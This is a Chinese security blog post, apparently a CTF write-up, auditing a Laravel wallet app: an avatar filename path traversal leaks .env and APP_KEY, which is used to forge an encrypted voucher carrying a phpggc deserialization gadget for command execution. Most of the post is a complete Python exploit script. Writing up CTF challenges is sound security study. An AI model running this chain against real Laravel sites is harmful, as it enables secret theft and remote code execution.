萦梦sora~Nya

统计加载中...

Announcement

欢迎来到萦梦sora~的站点，底层协议生效中~~~

Learn More

标签

.so逃逸 CTF CVE me SRC 内网渗透同源策略安全年度总结开发杂谈栈帧逃逸沙箱逃逸网络网络安全网络渗透

站点统计

文章

30

分类

3

标签

16

总字数

49,693

运行时长

0 天

最后活动

0 天前

990 字

5 分钟

Laravel局部渗透的多重链追溯

2026-03-24

网络安全

/

CTF

统计加载中...

Laravel局部渗透的多重链追溯#

对于Laravel框架，接触还是有限，这里来审计一下，

首先是目录结构，

这里严肃关注app下面和route，如果不关乎配置错误，那么这是最优解，

因为在此框架的路由默认在routes/web.php中，所以先打点

1
Route::middleware(['auth'])->group(function() {
2
    Route::get('/', [DashboardController::class, 'index'])->name('dashboard');
3
    Route::get('/account', [AccountController::class, 'index'])->name('account');
4
    Route::get('/mining', [MiningController::class, 'index'])->name('mining');
5
    Route::get('/vouchers', [VouchersController::class, 'index'])->name('vouchers');
6
    Route::get('/transactions', [TransactionsController::class, 'index'])->name('transactions');
7
    Route::get('/avatar', [AccountController::class, 'getAvatar']);
8

9
    Route::post('/account', [AccountController::class, 'update']);
10
    Route::post('/account/avatar', [AccountController::class, 'updateAvatar']);
11
    Route::post('/mining/collect', [MiningController::class, 'collect']);
12
    Route::post('/transactions', [TransactionsController::class, 'send']);
13
    Route::post('/vouchers', [VouchersController::class, 'create']);
14
    Route::post('/vouchers/redeem', [VouchersController::class, 'redeem']);
15
});
16

17
Route::get('/login', [AuthController::class, 'index'])->name('login');
18
Route::get('/register', [AuthController::class, 'index'])->name('register');
19
Route::get('/logout', [AuthController::class, 'index'])->name('logout');
20

21
Route::post('/login', [AuthController::class, 'auth']);
22
Route::post('/register', [AuthController::class, 'register']);
23

24
Route::delete('/logout', [AuthController::class, 'logout']);

可以看到需要鉴权的接口还是很多的，并且这里我们先去看对于鉴权后的接口操作，

因为并未进行严格admin分别鉴权，所以直接注册并无差异

看到update

1
    public function updateAvatar(Request $request)
2
    {
3
        $request->validate([
4
            'avatar' => 'required|image|max:2048'
5
        ]);
6

7
        /** @var \App\Models\User $user */
8
        $user = Auth::user();
9

10
        if ($user->avatar) {
11
            $previousPath = Storage::disk('public')->path($user->avatar);
12
            if (file_exists($previousPath))
13
                unlink($previousPath);
14
        }
15

16
        $name = $_FILES['avatar']['full_path'];
17
        $path = "/var/www/storage/app/public/avatars/$name";
18
        $request->file('avatar')->storeAs('avatars', basename($name), 'public');
19

20
        $user->avatar = $path;
21
        $user->save();
22

23
        return redirect()->back();
24
    }

在这里写文件的路子经过了过滤，在storeAs函数中，basename直接会过滤路径穿越，

但是可以看看path，这是完全没有过滤就将路径数据写入了user->avatar

看看哪里需要用这个到这个属性

1
    public function getAvatar(Request $request)
2
    {
3
        $path = Auth::user()->avatar;
4

5
        if (!$path)
6
            return response()->json(['error' => 'No avatar set.']);
7

8
        return response()->file($path);
9
    }
10
}

在这里每次请求都返回之前一样的path，那样我们就可以通过路径穿越读文件

那样还没完，因为

mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt

flag变成了hax字符串的文件名

那样就没法直接进行读取了

下一步找到了反序列的链

1
    public function create(Request $request)
2
    {
3
        $data = $request->validate([
4
            'amount' => 'required|integer|min:1'
5
        ]);
6

7
        /** @var \App\Models\User $user */
8
        $user = Auth::user();
9
        $amount = (int) $data['amount'];
10

11
        if ($user->balance < $amount) {
12
            return back()->withErrors([
13
                'amount' => 'Amount is greater than funds available.'
14
            ]);
15
        }
16

17
        $user->balance -= $amount;
18
        $user->save();
19

20
        $voucher = encrypt([
21
            'amount' => $amount,
22
            'created_by' => $user->uuid,
23
            'created_at' => Carbon::now()
24
        ]);
25

26
        return back()->with('voucher', $voucher);
27
    }

在这里接收的对象，一旦有了api_key就可以随意伪造，

而api_key可以在上部分路径穿越读取

并且，执行命令的不安全类是现成的

1
    cmd = "sh -c 'cat /*-flag.txt > /var/www/public/pwn.txt'"
2
    serialized = run_phpggc(args.phpggc, "Laravel/RCE22", cmd)
3
    voucher = laravel_encrypt_raw(serialized, key)

直接将flag文件写入可读的位置即可

POC:

1
import argparse
2
import base64
3
import hashlib
4
import hmac
5
import json
6
import os
7
import random
8
import re
9
import string
10
import subprocess
11
import sys
12
import urllib3
13

14
import requests
15
from Crypto.Cipher import AES
16

17

18
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
19

20

21
def extract_csrf(html: str) -> str:
22
    m = re.search(r'name="_token"\s+value="([^"]+)"', html)
23
    if m:
24
        return m.group(1)
25
    m = re.search(r'meta name="csrf-token" content="([^"]+)"', html)
26
    if m:
27
        return m.group(1)
28
    raise RuntimeError("CSRF token not found")
29

30

31
def tiny_png() -> bytes:
32
    return (
33
        b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01"
34
        b"\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc``\x00\x00"
35
        b"\x00\x02\x00\x01\xe2!\xbc3\x00\x00\x00\x00IEND\xaeB`\x82"
36
    )
37

38

39
def laravel_encrypt_raw(serialized: str, key_bytes: bytes) -> str:
40
    iv = os.urandom(16)
41
    pt = serialized.encode()
42
    pad = 16 - (len(pt) % 16)
43
    pt += bytes([pad]) * pad
44
    ct = AES.new(key_bytes, AES.MODE_CBC, iv).encrypt(pt)
45

46
    iv_b64 = base64.b64encode(iv).decode()
47
    val_b64 = base64.b64encode(ct).decode()
48
    mac = hmac.new(key_bytes, (iv_b64 + val_b64).encode(), hashlib.sha256).hexdigest()
49
    payload = json.dumps(
50
        {"iv": iv_b64, "value": val_b64, "mac": mac, "tag": ""},
51
        separators=(",", ":"),
52
    )
53
    return base64.b64encode(payload.encode()).decode()
54

55

56
def run_phpggc(phpggc: str, chain: str, cmd: str) -> str:
57
    attempts = [
58
        ["php", phpggc, chain, "system", cmd],
59
        ["php", phpggc, chain, cmd],
60
        ["php", phpggc, "-f", chain, "system", cmd],
61
        ["php", phpggc, "-f", chain, cmd],
62
    ]
63
    for a in attempts:
64
        p = subprocess.run(a, capture_output=True, text=True)
65
        if p.returncode == 0 and p.stdout.strip():
66
            return p.stdout.strip()
67
    raise RuntimeError(f"phpggc failed for {chain}")
68

69

70
def main():
71
    parser = argparse.ArgumentParser(description="TAMUctf vault exploit")
72
    parser.add_argument(
73
        "--url",
74
        default="https://c52cafe9-55d4-4ef9-b255-345fcd8bab20.tamuctf.com",
75
        help="target base url",
76
    )
77
    parser.add_argument(
78
        "--phpggc",
79
        default="phpggc/phpggc",
80
        help="path to phpggc entry script",
81
    )
82
    args = parser.parse_args()
83

84
    base = args.url.rstrip("/")
85
    s = requests.Session()
86
    s.verify = False
87

88
    username = "u" + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
89
    password = "Pass123456!"
90

91
    # Register
92
    r = s.get(base + "/register", timeout=15)
93
    csrf = extract_csrf(r.text)
94
    s.post(
95
        base + "/register",
96
        data={"_token": csrf, "username": username, "password": password, "password2": password},
97
        timeout=15,
98
    )
99

100
    # Login
101
    r = s.get(base + "/login", timeout=15)
102
    csrf = extract_csrf(r.text)
103
    s.post(
104
        base + "/login",
105
        data={"_token": csrf, "username": username, "password": password},
106
        timeout=15,
107
    )
108

109
    # LFI: upload valid PNG but crafted full_path -> ../../../../.env
110
    r = s.get(base + "/account", timeout=15)
111
    csrf = extract_csrf(r.text)
112
    s.post(
113
        base + "/account/avatar",
114
        data={"_token": csrf},
115
        files={"avatar": ("../../../../.env", tiny_png(), "image/png")},
116
        timeout=15,
117
    )
118
    env_text = s.get(base + "/avatar", timeout=15).text
119
    m = re.search(r"^APP_KEY=(.+)$", env_text, flags=re.M)
120
    if not m:
121
        print("[-] APP_KEY not found from /avatar")
122
        sys.exit(1)
123
    app_key = m.group(1).strip()
124
    key = base64.b64decode(app_key.split(":", 1)[1])
125
    print(f"[+] APP_KEY: {app_key}")
126

127
    # Build gadget payload, then encrypt as Laravel token for decrypt()
128
    cmd = "sh -c 'cat /*-flag.txt > /var/www/public/pwn.txt'"
129
    serialized = run_phpggc(args.phpggc, "Laravel/RCE22", cmd)
130
    voucher = laravel_encrypt_raw(serialized, key)
131

132
    # Trigger gadget via vouchers/redeem
133
    r = s.get(base + "/vouchers", timeout=15)
134
    csrf = extract_csrf(r.text)
135
    rr = s.post(
136
        base + "/vouchers/redeem",
137
        data={"_token": csrf, "voucher": voucher},
138
        timeout=15,
139
    )
140
    print(f"[+] redeem status: {rr.status_code}")
141

142
    # Read dropped file
143
    fr = s.get(base + "/pwn.txt", timeout=15)
144
    print(f"[+] /pwn.txt status: {fr.status_code}")
145
    print(fr.text.strip())
146

147
    flag = re.search(r"gigem\{[^}]+\}", fr.text, flags=re.I)
148
    if flag:
149
        print(f"[FLAG] {flag.group(0)}")
150
    else:
151
        print("[-] flag regex not found")
152

153

154
if __name__ == "__main__":
155
    main()

Laravel局部渗透的多重链追溯

https://steins-gate.cn/posts/初识laravel/

作者

萦梦sora~X

发布于

2026-03-24

许可协议

Unlicensed

部分信息可能已经过时

GO的双解析差异链和CTF的吐槽

记一次Google赏金VRP漏洞挖掘

萦梦sora~Nyaの安全Blog

Laravel局部渗透的多重链追溯#